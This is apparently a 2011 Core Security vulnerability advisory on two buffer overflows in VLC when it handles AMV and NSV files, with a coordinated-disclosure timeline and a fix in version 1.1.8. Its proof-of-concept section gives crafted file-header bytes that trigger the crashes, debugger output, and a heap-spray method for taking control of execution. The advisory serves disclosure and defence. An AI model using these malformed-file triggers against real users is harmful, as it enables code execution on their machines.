-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

   Core Security Technologies - Corelabs Advisory
        http://corelabs.coresecurity.com/

   VLC Vulnerabilities handling .AMV and .NSV files


1. *Advisory Information*

Title: VLC Vulnerabilities handling .AMV and .NSV files
Advisory ID: CORE-2011-0208
Advisory URL:
http://www.coresecurity.com/content/vlc-vulnerabilities-amv-nsv-files
Date published: 2011-03-23
Date of last update: 2011-03-23
Vendors contacted: VLC team
Release mode: Coordinated release


2. *Vulnerability Information*

Class: Buffer overflow [CWE-119], Buffer overflow [CWE-119]
Impact: Code execution
Remotely Exploitable: Yes (client-side)
Locally Exploitable: No
CVE Name: CVE-2010-3275, CVE-2010-3276


3. *Vulnerability Description*

Two vulnerabilities have been found in VLC media player [1], when
handling .AMV and .NSV file formats. These vulnerabilities can be
exploited by a remote attacker to obtain arbitrary code execution with
the privileges of the user running VLC.


4. *Vulnerable packages*

   . VLC 1.1.4
   . VLC 1.1.5
   . VLC 1.1.6
   . VLC 1.1.7
   . Older versions may be affected, but were not checked.


5. *Non-vulnerable packages*

   . VLC 1.1.8


6. *Vendor Information, Solutions and Workarounds*

These vulnerabilities are fixed in VLC version 1.1.8, which can be
downloaded from http://www.videolan.org/


7. *Credits*

These vulnerabilities were discovered and researched by Ricardo Narvaja
from Core Security Technologies. Publication was coordinated by Carlos
Sarraute.


8. *Technical Description / Proof of Concept Code*


8.1. *Vulnerability in VLC 1.1.4 to 1.1.7 when handling AMV files
[CVE-2010-3275]*

This vulnerability was found by fuzzing different formats. In AMV files
if the offset 0x41 is changed to a value greater than 90 as shown below:

/-----
Offset(h)

00000000  52 49 46 46 00 00 00 00 41 4D 56 20 4C 49 53 54  RIFF....AMV LIST
00000010  00 00 00 00 68 64 72 6C 61 6D 76 68 38 00 00 00  ....hdrlamvh8...
00000020  24 F4 00 00 00 00 00 00 00 00 00 00 00 00 00 00  $ô..............
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000040  A0 A0

- -----/


Then the program will crash in the following plugin:

/-----
Executable modules, item 248
Base=6D680000
Size=00017000 (94208.)
Entry=6D6810C0 libdir_1.<ModuleEntryPoint>
  Name=libdir_1
  Path=C:\Program Files\VideoLAN\VLC\plugins\libdirectx_plugin.dll

- -----/


More precisely in this location:

/-----
6D6812A1    8B10            MOV EDX,DWORD PTR DS:[EAX]
6D6812A3    894C24 04       MOV DWORD PTR SS:[ESP+4],ECX
6D6812A7    890424          MOV DWORD PTR SS:[ESP],EAX
6D6812AA    FF92 80000000   CALL DWORD PTR DS:[EDX+80]

offset

000006A1    8B10            MOV EDX,DWORD PTR DS:[EAX]
000006A3    894C24 04       MOV DWORD PTR SS:[ESP+4],ECX
000006A7    890424          MOV DWORD PTR SS:[ESP],EAX
000006AA    FF92 80000000   CALL DWORD PTR DS:[EDX+80]

registers

EAX 3DD1255C
ECX 00000000
EDX 3032344A
EBX 3DDF9410
ESP 3F82FC04
EBP 3DD1229C
ESI 3DD1255C
EDI 3DDF90BC
EIP 6D6812AA libdir_1.6D6812AA

- -----/


When executing an appropriate heap spray in Internet explorer:

/-----
303234CA  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
303234DA  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
303234EA  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
303234FA  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
3032350A  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
3032351A  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
3032352A  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................

- -----/


We manage to take control of the execution flow and execute our code:

/-----
0C0C0C0C    0C 0C           OR AL,0C
0C0C0C0E    0C 0C           OR AL,0C
0C0C0C10    0C 0C           OR AL,0C
0C0C0C12    0C 0C           OR AL,0C
0C0C0C14    0C 0C           OR AL,0C
0C0C0C16    0C 0C           OR AL,0C
0C0C0C18    0C 0C           OR AL,0C
0C0C0C1A    0C 0C           OR AL,0C
0C0C0C1C    0C 0C           OR AL,0C
0C0C0C1E    0C 0C           OR AL,0C
0C0C0C20    0C 0C           OR AL,0C
0C0C0C22    0C 0C           OR AL,0C
0C0C0C24    0C 0C           OR AL,0C
0C0C0C26    0C 0C           OR AL,0C

- -----/



8.2. *Vulnerability in VLC 1.1.4 to 1.1.7 when handling NSV files
[CVE-2010-3276]*

In NSV files when changing the offsets 0x0b to 0x0e as shown below:

/-----
Offset(h)

00000000  4E 53 56 73 56 50 33 31 4D 50 33 98 00 99 01 01  NSVsVP31MP3_._..

- -----/


We can make the program crash in the following plugin:

/-----
Executable modules, item 248
Base=6D680000
Size=00017000 (94208.)
Entry=6D6810C0 libdir_1.<ModuleEntryPoint>
    Name=libdir_1
    Path=C:\Program Files\VideoLAN\VLC\plugins\libdirectx_plugin.dll

- -----/


More precisely in this location:

/-----
6D6812A1    8B10            MOV EDX,DWORD PTR DS:[EAX]
6D6812A3    894C24 04       MOV DWORD PTR SS:[ESP+4],ECX
6D6812A7    890424          MOV DWORD PTR SS:[ESP],EAX
6D6812AA    FF92 80000000   CALL DWORD PTR DS:[EDX+80]

offset

000006A1    8B10            MOV EDX,DWORD PTR DS:[EAX]
000006A3    894C24 04       MOV DWORD PTR SS:[ESP+4],ECX
000006A7    890424          MOV DWORD PTR SS:[ESP],EAX
000006AA    FF92 80000000   CALL DWORD PTR DS:[EDX+80]

registers

EAX 37CE12FC ASCII "I420"
ECX 00000000
EDX 30323449
EBX 37D8F268
ESP 3865FC04
EBP 37CE103C
ESI 37CE12FC ASCII "I420"
EDI 37D8E314
EIP 6D6812AA libdirec.6D6812AA

- -----/


When executing an appropriate heap spray in Internet explorer:

/-----
303234CA  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
303234DA  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
303234EA  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
303234FA  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
3032350A  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
3032351A  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................
3032352A  0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C  ................

- -----/


We make the execution continue in our code:

/-----
0C0C0C0C    0C 0C           OR AL,0C
0C0C0C0E    0C 0C           OR AL,0C
0C0C0C10    0C 0C           OR AL,0C
0C0C0C12    0C 0C           OR AL,0C
0C0C0C14    0C 0C           OR AL,0C
0C0C0C16    0C 0C           OR AL,0C
0C0C0C18    0C 0C           OR AL,0C
0C0C0C1A    0C 0C           OR AL,0C
0C0C0C1C    0C 0C           OR AL,0C
0C0C0C1E    0C 0C           OR AL,0C
0C0C0C20    0C 0C           OR AL,0C
0C0C0C22    0C 0C           OR AL,0C
0C0C0C24    0C 0C           OR AL,0C
0C0C0C26    0C 0C           OR AL,0C

- -----/



9. *Report Timeline*

. 2011-02-08:
Core Security Technologies notifies the VLC team of the vulnerabilities.
Publication date is temporarily set to February 28, 2011.

. 2011-02-08:
VLC team acknowledges notification and provides PGP keys.

. 2011-02-09:
Core sends a technical description and PoC files that trigger the
vulnerabilities.

. 2011-02-18:
Core asks the VLC team whether they could reproduce the vulnerabilities.

. 2011-02-23:
VLC team replies that fixes will be included in VLC 1.1.8, and that they
believe the issue is not exploitable.

. 2011-02-25:
Core replies that the issues have been confirmed to be exploitable, and
that the researcher has developed fully working exploits. Core offers to
reschedule the publication of its advisory to coordinate it with the
release of fixes.

. 2011-03-10:
Core requests an update on this issue, since no reply was received. Core
notes that the PoC files and exploits were tested on Windows only, and
reschedules publication to March 16, stating that the advisory will be
published as "user release" if no reply is received.

. 2011-03-10:
VLC team requests two additional weeks for the release of fixes, and
asks whether the vulnerabilities are exploitable with ASLR.

. 2011-03-14:
Core agrees to postpone publication, confirms that the bugs are
exploitable with ASLR, and requests a concrete date for the release.

. 2011-03-16:
VLC team states that they would like to release on March 23rd.

. 2011-03-18:
Core agrees with the release date.

. 2011-03-23:
Advisory CORE-2011-0208 is published.



10. *References*

[1] VLC media player http://www.videolan.org/


11. *About CoreLabs*

CoreLabs, the research center of Core Security Technologies, is charged
with anticipating the future needs and requirements for information
security technologies. We conduct our research in several important
areas of computer security including system vulnerabilities, cyber
attack planning and simulation, source code auditing, and cryptography.
Our results include problem formalization, identification of
vulnerabilities, novel solutions and prototypes for new technologies.
CoreLabs regularly publishes security advisories, technical papers,
project information and shared software tools for public use at:
http://corelabs.coresecurity.com.


12. *About Core Security Technologies*

Core Security Technologies enables organizations to get ahead of threats
with security test and measurement solutions that continuously identify
and prove real-world exposures to their most critical assets. Our
customers can gain real visibility into their security standing, real
validation of their security controls, and real metrics to more
effectively secure their organizations.

Core Security's software solutions build on over a decade of trusted
research and leading-edge threat expertise from the company's Security
Consulting Services, CoreLabs and Engineering groups. Core Security
Technologies can be reached at +1 (617) 399-6980 or on the Web at:
http://www.coresecurity.com.


13. *Disclaimer*

The contents of this advisory are copyright (c) 2011 Core Security
Technologies and (c) 2011 CoreLabs, and are licensed under a Creative
Commons Attribution Non-Commercial Share-Alike 3.0 (United States)
License: http://creativecommons.org/licenses/by-nc-sa/3.0/us


14. *PGP/GPG Keys*

This advisory has been signed with the GPG key of Core Security
Technologies advisories team, which is available for download at
http://www.coresecurity.com/files/attachments/core_security_advisories.asc.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (MingW32)

iEYEARECAAYFAk2KWWUACgkQyNibggitWa1ilwCgmcHE6sjoDBlD6iaSlYBAJiXA
wnEAnjC85SPOZ1+ugKtVCGl7bxswqek9
=oV7u
-----END PGP SIGNATURE-----